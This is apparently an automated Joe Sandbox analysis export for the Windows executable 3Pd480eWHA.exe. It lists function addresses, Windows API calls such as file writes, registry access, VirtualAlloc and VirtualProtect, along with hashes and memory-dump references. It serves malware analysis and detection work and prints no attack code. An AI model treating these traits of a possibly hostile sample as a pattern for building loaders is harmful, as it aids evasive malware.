Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: ad31075058678b318fb1acd60a85244af91915838e2bda58b2d8d9f4dd3fd24d
Instruction ID: 3e97459997e7f7d7039c0cd31b40a13ca7cd82e20333033f2d5c91e802436a08
Opcode Fuzzy Hash: ad31075058678b318fb1acd60a85244af91915838e2bda58b2d8d9f4dd3fd24d
Instruction Fuzzy Hash: 9DE08632644121AAD32097749E0493B72ACAA84751302093EF506F2180D7389C21A669

Function 0040597F Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000003,00402CA6,C:\Users\user\Desktop\3Pd480eWHA.exe,80000000,00000003), ref: 00405983
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004059A5

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 8635a13517db9147ca88e6c1994c1e63e85e115acab2f3846d9047911b568965
Instruction ID: 2848333a8a5b20597e43067d17cc290ce391feab13c7f73248cb22e1b8f9cacf
Opcode Fuzzy Hash: 8635a13517db9147ca88e6c1994c1e63e85e115acab2f3846d9047911b568965
Instruction Fuzzy Hash: 5CD09E31658301AFEF098F20DD16F2EBAA2EB84B01F10962CBA82950E0D6755C159B26

Function 00405468 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,00000000,004030DF,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004032DC), ref: 0040546E
GetLastError.KERNEL32 ref: 0040547C

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 5a69f4d8b5a7b583b3b8a13bd9b089cb74a3312a80339e25d7f83e3ab18a8421
Instruction ID: c55d8aa437131a95a01de78b0052dcd3d9cc3f447ee629d771dafcce0f52932c
Opcode Fuzzy Hash: 5a69f4d8b5a7b583b3b8a13bd9b089cb74a3312a80339e25d7f83e3ab18a8421
Instruction Fuzzy Hash: F5C04C30719601EAD6205B609E08B5B7D54AB54742F1045756546E10F0D6749451D92E

Function 100027E8 Relevance: 2.7, APIs: 2, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 100028A7
GetLastError.KERNEL32 ref: 100029AE

Memory Dump Source

Source File: 00000000.00000002.1834191377.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1834168923.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1834213458.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1834234460.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3Pd480eWHA.jbxd

Similarity

API ID: AllocErrorLastVirtual
String ID:
API String ID: 497505419-0
Opcode ID: 7af5c486cb8ea8547353861cfd678fbd8d20862330e18d67419e74999799b2ae
Instruction ID: 700bf99a33fcd989ee77f819fa46e2371db99389a88ce2eb288524e3b596c0af
Opcode Fuzzy Hash: 7af5c486cb8ea8547353861cfd678fbd8d20862330e18d67419e74999799b2ae
Instruction Fuzzy Hash: 9751A2BA908214DFFB10DF64DCC674937A4EB443D4F21842AEA08E726DCF34A9808B95

Function 0040255C Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: wsprintf
String ID:
API String ID: 2111968516-0
Opcode ID: 2b3f0152387d06df6eaf096f135fad1e6c25d68e51a67a505a4e16ce5121cf03
Instruction ID: 2ad6ade0dd87bb00519d913a8aa863536615c58d60cd2f1651ee4e1b5922b607
Opcode Fuzzy Hash: 2b3f0152387d06df6eaf096f135fad1e6c25d68e51a67a505a4e16ce5121cf03
Instruction Fuzzy Hash: D321DB70C04295BEDF318B584A985AF7B749B11314F1484BBE891B62D1C1BD8A85EB1D

Function 00402616 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,00000002,?,?), ref: 00402630

Part of subcall function 00405C6A: wsprintfA.USER32 ref: 00405C77

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 605c8d6a649ef785eb1d6a94470a00a99215b591ffdd9e56fcea621c1e02c6b1
Instruction ID: 8aac78d75a064c4630454a8a93e19dff4664e4603579630d9101515f905a40da
Opcode Fuzzy Hash: 605c8d6a649ef785eb1d6a94470a00a99215b591ffdd9e56fcea621c1e02c6b1
Instruction Fuzzy Hash: 56E01A76A05640AAE701B7A5AE89CBE636ADB50318B20853BF601B00C1C6BD89059A3E

Function 00402B44 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(00000000,000002DB,00000000,00000022,00000000,?,?,?,00402314,00000002), ref: 00402B6C

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: eded891075ee9d68bdfa7caca34f4ecd2b61e9434e1da65918f8acfe225afcc1
Instruction ID: f02d1f32d416435064830634415e16150983832f9e15cf27d1a8645227483e3a
Opcode Fuzzy Hash: eded891075ee9d68bdfa7caca34f4ecd2b61e9434e1da65918f8acfe225afcc1
Instruction Fuzzy Hash: 6EE0E676250108BFD700DFA9DD47FD577ECE758745F008421B609D7095C774E5508B69

Function 00405A26 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403057,00000000,007890F8,000000FF,007890F8,000000FF,000000FF,00000004,00000000), ref: 00405A3A

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
Instruction ID: 202e9d0092b88ed1e300126467a6d0629c49e9ab1c26cc5f9aac99f6baf52130
Opcode Fuzzy Hash: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
Instruction Fuzzy Hash: FFE0EC3261425AAFDF10AEA59C44EEB7B6CFB05360F008533F915E2550D231E921DFA9

Function 004059F7 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004030A1,00000000,00000000,00402EEE,000000FF,00000004,00000000,00000000,00000000), ref: 00405A0B

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 9e9b74a17ccb5deaff559da35202fcfca8c983c6050daaa8761ff941af9ce947
Instruction ID: ec62d6923e01247a1983afaeae7cc56c043784b3a51a97a909eefe23b1c45cc9
Opcode Fuzzy Hash: 9e9b74a17ccb5deaff559da35202fcfca8c983c6050daaa8761ff941af9ce947
Instruction Fuzzy Hash: CFE04F32210259AFCF10AE549C40EAB375CEB04250F004432F915E2040D230E8119FA8

Function 1000270B Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000404C,00000004,00000040,1000403C), ref: 10002729

Memory Dump Source

Source File: 00000000.00000002.1834191377.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1834168923.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1834213458.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1834234460.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3Pd480eWHA.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
Instruction ID: 4f82052a8ee677216feeb46ba648c84afb962adc58c95b92ee0d34447feb5494
Opcode Fuzzy Hash: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
Instruction Fuzzy Hash: B5F09BF19092A0DEF360DF688CC4B063FE4E3983D5B03892AE358F6269EB7441448B19

Function 004022C7 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 004022FA

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 89032baceb3f6f114b0488ce247a90a0ba58f85f764d13967e355b5ac32f42df
Instruction ID: 39f1f9859769fa242ff58571ca275c021542d1dfaf63d46caa25723865460d27
Opcode Fuzzy Hash: 89032baceb3f6f114b0488ce247a90a0ba58f85f764d13967e355b5ac32f42df
Instruction Fuzzy Hash: 66E08630A04214BFDB20EFA08D09BAE3669BF11714F10403AF9917B0D2EAB849419B1D

Function 00401595 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(00000000,?,000000F0), ref: 004015A0

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 0ea397a8211670639f436dd097bf0c7cb6117b14819b8f8d67c2300def58ed07
Instruction ID: 839d6edb89fd0a39869f3bdff0d3b393134e6f043e5016f1e00bd5f534211bce
Opcode Fuzzy Hash: 0ea397a8211670639f436dd097bf0c7cb6117b14819b8f8d67c2300def58ed07
Instruction Fuzzy Hash: 34D05B33B14110DBDB40EBE4DB08A9D73A5BB60329B308637D201F21D1D7BDC9549B29

Function 00403F3D Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00010418,00000000,00000000,00000000), ref: 00403F4F

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: fe9c5fbe97cae241cde84ce22785a5e9dbc0b02d0b9d793388d9d8a90b417260
Instruction ID: 9b9c13dac3056517ae90cab9ba0900707a7cdbddb9b58ac83e38e750941f619c
Opcode Fuzzy Hash: fe9c5fbe97cae241cde84ce22785a5e9dbc0b02d0b9d793388d9d8a90b417260
Instruction Fuzzy Hash: 39C04C71A442016AEB219B649D49F067BA8A751701F1594257315A50E0D674E410D66D

Function 00403F26 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000028,?,00000001,00403D57), ref: 00403F34

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c60a5741adf6fd17905679b15365177ec5dfd851c523a537735145c0d793b3ca
Instruction ID: bce073d95cda9f80ae5a70f3258e8641f0ad27ed80faf677ac8523eeabb20274
Opcode Fuzzy Hash: c60a5741adf6fd17905679b15365177ec5dfd851c523a537735145c0d793b3ca
Instruction Fuzzy Hash: F7B09235585200AAEA224B40DD09F457A62A7A4701F008064B210240F0CAB200A0DB19

Function 004030A4 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402E2D,000089E4), ref: 004030B2

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction ID: 49fdcfdf8b1973cd13611e97ba0bfafd8618b6cb304eeeee9131019f9f046fb0
Opcode Fuzzy Hash: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction Fuzzy Hash: 03B01271644200BFDA214F00DF05F057B21A790700F10C030B748380F082712420EB4D

Function 00403F13 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00403CF0), ref: 00403F1D

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
